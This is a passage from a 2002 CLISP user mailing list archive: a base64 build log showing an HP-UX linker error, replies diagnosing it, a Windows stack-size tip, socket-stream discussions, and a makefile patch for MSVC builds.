VkVfQ09ORklHX0ggICAtSS4gLUkuIC1JL3Vzci9sb2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9W RVJTSU9OPSciNC4xIicgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLURDTElTUCBjb21wbGV0ZS5j CgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhBVkVfQ09ORklHX0ggICAtSS4gLUkuIC1JL3Vz ci9sb2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9WRVJTSU9OPSciNC4xIicgLURVTklDT0RFIC1E RFlOQU1JQ19GRkkgLURDTElTUCBiaW5kLmMKY2M6ICJiaW5kLmMiLCBsaW5lIDExOTA6IHdhcm5p bmcgNjA0OiBQb2ludGVycyBhcmUgbm90IGFzc2lnbm1lbnQtY29tcGF0aWJsZS4KY2M6ICJiaW5k LmMiLCBsaW5lIDExOTA6IHdhcm5pbmcgNTYzOiBBcmd1bWVudCAjMSBpcyBub3QgdGhlIGNvcnJl Y3QgdHlwZS4KY2M6ICJiaW5kLmMiLCBsaW5lIDE0NzI6IHdhcm5pbmcgNjA0OiBQb2ludGVycyBh cmUgbm90IGFzc2lnbm1lbnQtY29tcGF0aWJsZS4KY2M6ICJiaW5kLmMiLCBsaW5lIDE0NzI6IHdh cm5pbmcgNTYzOiBBcmd1bWVudCAjMiBpcyBub3QgdGhlIGNvcnJlY3QgdHlwZS4KCWNjIC1BZSAt V3AsLUgxMDQ4NTc2IC1jIC1ESEFWRV9DT05GSUdfSCAgIC1JLiAtSS4gLUkvdXNyL2xvY2FsL2lu Y2x1ZGUgLURSTF9MSUJSQVJZX1ZFUlNJT049JyI0LjEiJyAtRFVOSUNPREUgLUREWU5BTUlDX0ZG SSAtRENMSVNQIGlzZWFyY2guYwpjYzogImlzZWFyY2guYyIsIGxpbmUgMjU3OiB3YXJuaW5nIDYw NDogUG9pbnRlcnMgYXJlIG5vdCBhc3NpZ25tZW50LWNvbXBhdGlibGUuCmNjOiAiaXNlYXJjaC5j IiwgbGluZSAyNTc6IHdhcm5pbmcgNTYzOiBBcmd1bWVudCAjMSBpcyBub3QgdGhlIGNvcnJlY3Qg dHlwZS4KCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1ESEFWRV9DT05GSUdfSCAgIC1JLiAtSS4g LUkvdXNyL2xvY2FsL2luY2x1ZGUgLURSTF9MSUJSQVJZX1ZFUlNJT049JyI0LjEiJyAtRFVOSUNP REUgLUREWU5BTUlDX0ZGSSAtRENMSVNQIGRpc3BsYXkuYwoJY2MgLUFlIC1XcCwtSDEwNDg1NzYg LWMgLURIQVZFX0NPTkZJR19IICAgLUkuIC1JLiAtSS91c3IvbG9jYWwvaW5jbHVkZSAtRFJMX0xJ QlJBUllfVkVSU0lPTj0nIjQuMSInIC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJIC1EQ0xJU1Agc2ln bmFscy5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhBVkVfQ09ORklHX0ggICAtSS4gLUku IC1JL3Vzci9sb2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9WRVJTSU9OPSciNC4xIicgLURVTklD T0RFIC1ERFlOQU1JQ19GRkkgLURDTElTUCB1dGlsLmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1j IC1ESEFWRV9DT05GSUdfSCAgIC1JLiAtSS4gLUkvdXNyL2xvY2FsL2luY2x1ZGUgLURSTF9MSUJS QVJZX1ZFUlNJT049JyI0LjEiJyAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtRENMSVNQIGtpbGwu YwoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLWMgLURIQVZFX0NPTkZJR19IICAgLUkuIC1JLiAtSS91 c3IvbG9jYWwvaW5jbHVkZSAtRFJMX0xJQlJBUllfVkVSU0lPTj0nIjQuMSInIC1EVU5JQ09ERSAt RERZTkFNSUNfRkZJIC1EQ0xJU1AgdW5kby5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhB VkVfQ09ORklHX0ggICAtSS4gLUkuIC1JL3Vzci9sb2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9W RVJTSU9OPSciNC4xIicgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLURDTElTUCBtYWNyby5jCglj YyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhBVkVfQ09ORklHX0ggICAtSS4gLUkuIC1JL3Vzci9s b2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9WRVJTSU9OPSciNC4xIicgLURVTklDT0RFIC1ERFlO QU1JQ19GRkkgLURDTElTUCBpbnB1dC5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhBVkVf Q09ORklHX0ggICAtSS4gLUkuIC1JL3Vzci9sb2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9WRVJT SU9OPSciNC4xIicgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLURDTElTUCBjYWxsYmFjay5jCglj YyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhBVkVfQ09ORklHX0ggICAtSS4gLUkuIC1JL3Vzci9s b2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9WRVJTSU9OPSciNC4xIicgLURVTklDT0RFIC1ERFlO QU1JQ19GRkkgLURDTElTUCB0ZXJtaW5hbC5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhB VkVfQ09ORklHX0ggICAtSS4gLUkuIC1JL3Vzci9sb2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9W RVJTSU9OPSciNC4xIicgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLURDTElTUCBubHMuYwoJY2Mg LUFlIC1XcCwtSDEwNDg1NzYgLWMgLURIQVZFX0NPTkZJR19IICAgLUkuIC1JLiAtSS91c3IvbG9j YWwvaW5jbHVkZSAtRFJMX0xJQlJBUllfVkVSU0lPTj0nIjQuMSInIC1EVU5JQ09ERSAtRERZTkFN SUNfRkZJIC1EQ0xJU1AgeG1hbGxvYy5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhBVkVf Q09ORklHX0ggICAtSS4gLUkuIC1JL3Vzci9sb2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9WRVJT SU9OPSciNC4xIicgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLURDTElTUCB0ZXN0VVRGOC5jCglj YyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhBVkVfQ09ORklHX0ggICAtSS4gLUkuIC1JL3Vzci9s b2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9WRVJTSU9OPSciNC4xIicgLURVTklDT0RFIC1ERFlO QU1JQ19GRkkgLURDTElTUCBoaXN0b3J5LmMKCWNjIC1BZSAtV3AsLUgxMDQ4NTc2IC1jIC1ESEFW RV9DT05GSUdfSCAgIC1JLiAtSS4gLUkvdXNyL2xvY2FsL2luY2x1ZGUgLURSTF9MSUJSQVJZX1ZF UlNJT049JyI0LjEiJyAtRFVOSUNPREUgLUREWU5BTUlDX0ZGSSAtRENMSVNQIGhpc3RleHBhbmQu YwoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLWMgLURIQVZFX0NPTkZJR19IICAgLUkuIC1JLiAtSS91 c3IvbG9jYWwvaW5jbHVkZSAtRFJMX0xJQlJBUllfVkVSU0lPTj0nIjQuMSInIC1EVU5JQ09ERSAt RERZTkFNSUNfRkZJIC1EQ0xJU1AgaGlzdGZpbGUuYwoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLWMg LURIQVZFX0NPTkZJR19IICAgLUkuIC1JLiAtSS91c3IvbG9jYWwvaW5jbHVkZSAtRFJMX0xJQlJB UllfVkVSU0lPTj0nIjQuMSInIC1EVU5JQ09ERSAtRERZTkFNSUNfRkZJIC1EQ0xJU1AgaGlzdHNl YXJjaC5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtYyAtREhBVkVfQ09ORklHX0ggICAtSS4gLUku IC1JL3Vzci9sb2NhbC9pbmNsdWRlIC1EUkxfTElCUkFSWV9WRVJTSU9OPSciNC4xIicgLURVTklD T0RFIC1ERFlOQU1JQ19GRkkgLURDTElTUCBzaGVsbC5jCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAt YyAtREhBVkVfQ09ORklHX0ggICAtSS4gLUkuIC1JL3Vzci9sb2NhbC9pbmNsdWRlIC1EUkxfTElC UkFSWV9WRVJTSU9OPSciNC4xIicgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgLURDTElTUCB0aWxk ZS5jCglybSAtZiBsaWJyZWFkbGluZS5hCglhciBjciBsaWJyZWFkbGluZS5hIHJlYWRsaW5lLm8g dmlfbW9kZS5vIGZ1bm1hcC5vIGtleW1hcHMubyBwYXJlbnMubyBzZWFyY2gubyAgcmx0dHkubyBj b21wbGV0ZS5vIGJpbmQubyBpc2VhcmNoLm8gZGlzcGxheS5vIHNpZ25hbHMubyAgdXRpbC5vIGtp bGwubyB1bmRvLm8gbWFjcm8ubyBpbnB1dC5vIGNhbGxiYWNrLm8gdGVybWluYWwubyAgbmxzLm8g eG1hbGxvYy5vIHRlc3RVVEY4Lm8gaGlzdG9yeS5vIGhpc3RleHBhbmQubyBoaXN0ZmlsZS5vIGhp c3RzZWFyY2gubyBzaGVsbC5vICB0aWxkZS5vCgl0ZXN0IC1uICJyYW5saWIiICYmIHJhbmxpYiBs aWJyZWFkbGluZS5hCglybSAtZiBsaWJoaXN0b3J5LmEKCWFyIGNyIGxpYmhpc3RvcnkuYSBoaXN0 b3J5Lm8gaGlzdGV4cGFuZC5vIGhpc3RmaWxlLm8gaGlzdHNlYXJjaC5vIHNoZWxsLm8gIHhtYWxs b2MubwoJdGVzdCAtbiAicmFubGliIiAmJiByYW5saWIgbGliaGlzdG9yeS5hCglsbiAtcyByZWFk bGluZS9saWJyZWFkbGluZS5hIGxpYnJlYWRsaW5lLmEKCWxuIC1zIGdldHRleHQvaW50bC9saWJp bnRsLmEgbGliaW50bC5hCglpZiB0ZXN0IC1kIGxvY2FsZTsgdGhlbiBybSAtcmYgbG9jYWxlOyBm aQoJbWtkaXIgbG9jYWxlCgkoY2QgZ2V0dGV4dC9wbyAmJiBtYWtlICYmIG1ha2UgaW5zdGFsbCBk YXRhZGlyPS4uLy4uIGxvY2FsZWRpcj0nJChkYXRhZGlyKS9sb2NhbGUnIElOU1RBTExfREFUQT1s bikgfHwgKHJtIC1yZiBsb2NhbGUgOyBleGl0IDEpCmluc3RhbGxpbmcgZW4uZ21vIGFzIC4uLy4u L2xvY2FsZS9lbi9MQ19NRVNTQUdFUy9jbGlzcC5tbwppbnN0YWxsaW5nIGNsaXNwbG93X2VuLmdt byBhcyAuLi8uLi9sb2NhbGUvZW4vTENfTUVTU0FHRVMvY2xpc3Bsb3cubW8KaW5zdGFsbGluZyBk ZS5nbW8gYXMgLi4vLi4vbG9jYWxlL2RlL0xDX01FU1NBR0VTL2NsaXNwLm1vCmluc3RhbGxpbmcg Y2xpc3Bsb3dfZGUuZ21vIGFzIC4uLy4uL2xvY2FsZS9kZS9MQ19NRVNTQUdFUy9jbGlzcGxvdy5t bwppbnN0YWxsaW5nIGZyLmdtbyBhcyAuLi8uLi9sb2NhbGUvZnIvTENfTUVTU0FHRVMvY2xpc3Au bW8KaW5zdGFsbGluZyBjbGlzcGxvd19mci5nbW8gYXMgLi4vLi4vbG9jYWxlL2ZyL0xDX01FU1NB R0VTL2NsaXNwbG93Lm1vCmluc3RhbGxpbmcgZXMuZ21vIGFzIC4uLy4uL2xvY2FsZS9lcy9MQ19N RVNTQUdFUy9jbGlzcC5tbwppbnN0YWxsaW5nIGNsaXNwbG93X2VzLmdtbyBhcyAuLi8uLi9sb2Nh bGUvZXMvTENfTUVTU0FHRVMvY2xpc3Bsb3cubW8KaW5zdGFsbGluZyBubC5nbW8gYXMgLi4vLi4v bG9jYWxlL25sL0xDX01FU1NBR0VTL2NsaXNwLm1vCmluc3RhbGxpbmcgY2xpc3Bsb3dfbmwuZ21v IGFzIC4uLy4uL2xvY2FsZS9ubC9MQ19NRVNTQUdFUy9jbGlzcGxvdy5tbwoJY2MgLUFlIC1XcCwt SDEwNDg1NzYgLURVTklDT0RFIC1ERFlOQU1JQ19GRkkgIHNwdncubyAgc3B2d3RhYmYubyAgc3B2 d3RhYnMubyAgc3B2d3RhYm8ubyAgZXZhbC5vICBjb250cm9sLm8gIGVuY29kaW5nLm8gIHBhdGhu YW1lLm8gIHN0cmVhbS5vICBzb2NrZXQubyAgaW8ubyAgYXJyYXkubyAgaGFzaHRhYmwubyAgbGlz dC5vICBwYWNrYWdlLm8gIHJlY29yZC5vICBzZXF1ZW5jZS5vICBjaGFyc3RyZy5vICBkZWJ1Zy5v ICBlcnJvci5vICBtaXNjLm8gIHRpbWUubyAgcHJlZHR5cGUubyAgc3ltYm9sLm8gIGxpc3Bhcml0 Lm8gIGZvcmVpZ24ubyAgdW5peGF1eC5vICBhcmlocHBhLm8gIGdtYWxsb2MubyBtb2R1bGVzLm8g bGlic2lnc2Vndi5hIGxpYmludGwuYSBsaWJpY29udi5hIGxpYnJlYWRsaW5lLmEgbGliYXZjYWxs LmEgbGliY2FsbGJhY2suYSAgLWx0ZXJtY2FwICAgLW8gbGlzcC5ydW4KL3Vzci9jY3MvYmluL2xk OiBVbnNhdGlzZmllZCBzeW1ib2xzOgogICBkaXZ1XzY0MzJfMzIzMl8gKGNvZGUpCi91c3IvY2Nz L2Jpbi9sZDogKFdhcm5pbmcpIExpbmtlciBmZWF0dXJlcyB3ZXJlIHVzZWQgdGhhdCBtYXkgbm90 IGJlIHN1cHBvcnRlZCBpbiBmdXR1cmUgcmVsZWFzZXMuIFRoZSArdmFsbGNvbXBhdHdhcm5pbmdz IG9wdGlvbiBjYW4gYmUgdXNlZCB0byBkaXNwbGF5IG1vcmUgZGV0YWlscywgYW5kIHRoZSBsZCgx KSBtYW4gcGFnZSBjb250YWlucyBhZGRpdGlvbmFsIGluZm9ybWF0aW9uLiBUaGlzIHdhcm5pbmcg Y2FuIGJlIHN1cHByZXNzZWQgd2l0aCB0aGUgK3Zub2NvbXBhdHdhcm5pbmdzIG9wdGlvbi4KKioq IEVycm9yIGV4aXQgY29kZSAxCgpTdG9wLgo= --------------Boundary-00=_5OHF7GWVY28YN3R6LV3L-- From rray1@netdoor.com Fri Jan 04 14:05:51 2002 Received: from net11h130.itsd.state.ms.us ([205.144.226.130] helo=rray.mstc.state.ms.us) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16McTG-0003OC-00 for ; Fri, 04 Jan 2002 14:05:50 -0800 Received: from there (localhost.localdomain [127.0.0.1]) by rray.mstc.state.ms.us (8.11.6/8.8.7) with SMTP id g04M4Tb17168 for ; Fri, 4 Jan 2002 16:04:29 -0600 Message-Id: <200201042204.g04M4Tb17168@rray.mstc.state.ms.us> Content-Type: text/plain; charset="iso-8859-1" From: Richard Ray To: Subject: Re: [clisp-list] Unsatisfied symbols: divu_6432_3232_ X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by rray.mstc.state.ms.us id g04M4Tb17168 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 4 14:06:02 2002 X-Original-Date: Fri, 4 Jan 2002 16:04:29 -0600 On Friday 04 January 2002 03:06 pm, you wrote: > On Fri, 4 Jan 2002, Richard Ray wrote: > > Date: Fri, 4 Jan 2002 14:42:32 -0600 > > From: Richard Ray > > To: clisp-list@lists.sourceforge.net > > Subject: [clisp-list] Unsatisfied symbols: divu_6432_3232_ > > > > > > While running make in src I get the following error. > > > > =A0 cc -Ae -Wp,-H1048576 -DUNICODE -DDYNAMIC_FFI =A0spvw.o =A0spvwtab= f.o =A0 > > How convenient of you to mention that this is on HP-UX. > Some of us remember the peculiar compiler options, though. :) HP9000 S800 K200 HP/UX 10.20 > > > spvwtabs.o =A0 > > spvwtabo.o =A0eval.o =A0control.o =A0encoding.o =A0pathname.o =A0stre= am.o =A0socket.o > > =A0 io.o > > =A0array.o =A0hashtabl.o =A0list.o =A0package.o =A0record.o =A0sequen= ce.o =A0charstrg.o > > =A0 debug > > .o =A0error.o =A0misc.o =A0time.o =A0predtype.o =A0symbol.o =A0lispar= it.o =A0foreign.o > > =A0 unixau > > x.o =A0arihppa.o =A0gmalloc.o modules.o libsigsegv.a libintl.a libico= nv.a > > ^^^^ > > Another clue there. > > > libreadlin > > e.a libavcall.a libcallback.a =A0-ltermcap =A0 -o lisp.run > > /usr/ccs/bin/ld: Unsatisfied symbols: > > =A0 =A0divu_6432_3232_ (code) > > > > Can someone tell from this what library I'm missing? > > Guessing by its name, it divides a 64 bit dividend by a 32 > bit divisor to make a 32 bit quotient and remainder. > > An assembly language function by that name appears in the source file > arihppa.d which corresponds to the arihppa.o object file above. > > Note, however, that this function is removed with #if 0 with a German > comment which says ``Das funktioniert noch nicht''. Looks like there is > a little bit of work to do for the HP-UX/PA-RISC platform? > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list For what it's worth the reference is from lisparit.o $ nm lisparit.o | grep divu_6432_3232_ divu_6432_3232_ | |undef |code | I tried to attach the full make output but it was too big. From m@miguelg.net Fri Jan 04 19:14:39 2002 Received: from relay1.pair.com ([209.68.1.20] helo=relay.pair.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MhI6-0001lT-00 for ; Fri, 04 Jan 2002 19:14:38 -0800 Received: (qmail 83655 invoked from network); 5 Jan 2002 03:14:25 -0000 Received: from d141120.sjm.pt.kpnqwest.net (HELO takeway.miguelg.net) (193.126.141.120) by relay1.pair.com with SMTP; 5 Jan 2002 03:14:25 -0000 X-pair-Authenticated: 193.126.141.120 Message-Id: <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> X-Sender: mg@miguelg.net X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Miguel =?iso-8859-1?Q?Gon=E7alves?= Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Stack size problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 4 19:15:03 2002 X-Original-Date: Sat, 05 Jan 2002 03:14:16 +0000 Hello! On the Microsoft Windows platform the stack is too small when compared to=20 GNU/Linux installations. Can it be increased in any way without recompiling CLISP? Are there interesting Common Lisp commands regarding the stack I should be= =20 aware of? Best regards, Miguel Gon=E7alves From samuel.steingold@verizon.net Sat Jan 05 07:43:21 2002 Received: from [206.46.170.236] (helo=pop009pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MsyZ-0001hN-00 for ; Sat, 05 Jan 2002 07:43:15 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop009pub.verizon.net with ESMTP ; id g05FgcQ5027183 Sat, 5 Jan 2002 09:42:39 -0600 (CST) To: Miguel =?iso-8859-1?q?Gon=E7alves?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Stack size problem References: <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 07:44:01 2002 X-Original-Date: 05 Jan 2002 10:40:35 -0500 > * In message <5.1.0.14.2.20020105031053.00b12e90@miguelg.net> > * On the subject of "[clisp-list] Stack size problem" > * Sent on Sat, 05 Jan 2002 03:14:16 +0000 > * Honorable Miguel Gon=E7alves writes: > > On the Microsoft Windows platform the stack is too small when compared > to GNU/Linux installations. >=20 > Can it be increased in any way without recompiling CLISP? editbin /stack:3145728 lisp.exe > Are there interesting Common Lisp commands regarding the stack I should > be aware of? --=20 Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! All extremists should be taken out and shot. From samuel.steingold@verizon.net Sat Jan 05 12:02:16 2002 Received: from out001pub.verizon.net ([206.46.170.101]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Mx1A-0002dV-00 for ; Sat, 05 Jan 2002 12:02:13 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by out001pub.verizon.net with ESMTP ; id g05K1k7S006364 Sat, 5 Jan 2002 14:01:47 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 12:05:43 2002 X-Original-Date: 05 Jan 2002 14:59:34 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 03 Jan 2002 11:52:18 -0500 > * Honorable Todd Sabin writes: > > > why do you want this? > > It would allow you to set different element-types and encodings on the > input and output sides of the socket. > > It would provide a nice interface to shutdown(2) a socket. You could > call (close (two-way-stream-output-stream *my-sock*)), and have it > implemented with shutdown(2) in C, instead of close(2). I don't understand this. why is shutdown better than close? what does this have to do with two-way-stream-output-stream being applicable to a socket? > It just seems right to me. > > Of course, there may be implications that I don't see. Turning the > question around, why wouldn't you want this? because I don't know all the possible pitfalls. are you prepared to submit tested (at least on two platforms) patches and take responsibility (as in "fix bugs") for the code you write? if yes, your patches (against CVS) will be accepted. (we should probably move this discussion to .) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Isn't "Microsoft Works" an advertisement lie? From samuel.steingold@verizon.net Sat Jan 05 12:30:16 2002 Received: from smtp005pub.verizon.net ([206.46.170.184]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MxSJ-0001d2-00 for ; Sat, 05 Jan 2002 12:30:15 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by smtp005pub.verizon.net with ESMTP ; id g05KU5l16464 Sat, 5 Jan 2002 14:30:06 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-stream-peer fails on buffered streams References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 12:31:03 2002 X-Original-Date: 05 Jan 2002 15:27:51 -0500 > * In message > * On the subject of "[clisp-list] socket-stream-peer fails on buffered streams" > * Sent on 02 Jan 2002 22:48:57 -0500 > * Honorable Todd Sabin writes: > > [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t)) > # > [2]> (socket-stream-peer *my-sock*) > > *** - UNIX error 9 (EBADF): Bad file number > 1. Break [3]> thanks for the bug report - I fixed this bug in the CVS. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Life is a sexually transmitted disease with 100% mortality. From i_rustandi@yahoo.com Sat Jan 05 12:31:48 2002 Received: from web10108.mail.yahoo.com ([216.136.130.58]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MxTo-00023Y-00 for ; Sat, 05 Jan 2002 12:31:48 -0800 Message-ID: <20020105203147.50866.qmail@web10108.mail.yahoo.com> Received: from [65.184.15.217] by web10108.mail.yahoo.com via HTTP; Sat, 05 Jan 2002 12:31:47 PST From: Indrayana Rustandi To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="0-284539384-1010262707=:50844" Subject: [clisp-list] MSVC makefiles (patch) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 5 12:32:02 2002 X-Original-Date: Sat, 5 Jan 2002 12:31:47 -0800 (PST) --0-284539384-1010262707=:50844 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline When trying to build CLisp 2.27 using nmake in Win2KSP2, I encountered a problem that del could stop the build prematurely if it tried to delete non-existent files/directories. Prefixing the command with '-' solves the problem. Attached is a patch that modifies existing references to 'del' to '-del'. Indra __________________________________________________ Do You Yahoo!? Send FREE video emails in Yahoo! Mail! http://promo.yahoo.com/videomail/ --0-284539384-1010262707=:50844 Content-Type: application/octet-stream; name="patch.diff" Content-Transfer-Encoding: base64 Content-Description: patch.diff Content-Disposition: attachment; filename="patch.diff" SW5kZXg6IGNsaXNwL2ZmY2FsbC9NYWtlZmlsZS5tc3ZjDQo9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2c3Jvb3QvY2xpc3AvY2xpc3Av ZmZjYWxsL01ha2VmaWxlLm1zdmMsdg0KcmV0cmlldmluZyByZXZpc2lvbiAx LjINCmRpZmYgLWMgLXIxLjIgTWFrZWZpbGUubXN2Yw0KKioqIGNsaXNwL2Zm Y2FsbC9NYWtlZmlsZS5tc3ZjCTIwMDEvMDIvMjAgMTk6Mjk6MzQJMS4yDQot LS0gY2xpc3AvZmZjYWxsL01ha2VmaWxlLm1zdmMJMjAwMi8wMS8wNSAyMDoy MzozNA0KKioqKioqKioqKioqKioqDQoqKiogMTEsMTcgKioqKg0KICBtYW5k aXIgPSAkKHByZWZpeCkvbWFuDQogIA0KICAjIFByb2dyYW1zIHVzZWQgYnkg Im1ha2UiOg0KISBSTSA9IGRlbA0KICANCiAgIyMjIyBFbmQgb2Ygc3lzdGVt IGNvbmZpZ3VyYXRpb24gc2VjdGlvbi4gIyMjIw0KICANCi0tLSAxMSwxNyAt LS0tDQogIG1hbmRpciA9ICQocHJlZml4KS9tYW4NCiAgDQogICMgUHJvZ3Jh bXMgdXNlZCBieSAibWFrZSI6DQohIFJNID0gLWRlbA0KICANCiAgIyMjIyBF bmQgb2Ygc3lzdGVtIGNvbmZpZ3VyYXRpb24gc2VjdGlvbi4gIyMjIw0KICAN CkluZGV4OiBjbGlzcC9mZmNhbGwvYXZjYWxsL01ha2VmaWxlLm1zdmMNCj09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvY3Zzcm9vdC9jbGlz cC9jbGlzcC9mZmNhbGwvYXZjYWxsL01ha2VmaWxlLm1zdmMsdg0KcmV0cmll dmluZyByZXZpc2lvbiAxLjcNCmRpZmYgLWMgLXIxLjcgTWFrZWZpbGUubXN2 Yw0KKioqIGNsaXNwL2ZmY2FsbC9hdmNhbGwvTWFrZWZpbGUubXN2YwkyMDAx LzAyLzIwIDE5OjI5OjM0CTEuNw0KLS0tIGNsaXNwL2ZmY2FsbC9hdmNhbGwv TWFrZWZpbGUubXN2YwkyMDAyLzAxLzA1IDIwOjIzOjM1DQoqKioqKioqKioq KioqKioNCioqKiA1Myw1OSAqKioqDQogIEFSX0ZMQUdTID0gL291dDoNCiAg TVYgPSByZW4NCiAgTE4gPSBjb3B5DQohIFJNID0gZGVsDQogIA0KICAjIFBy 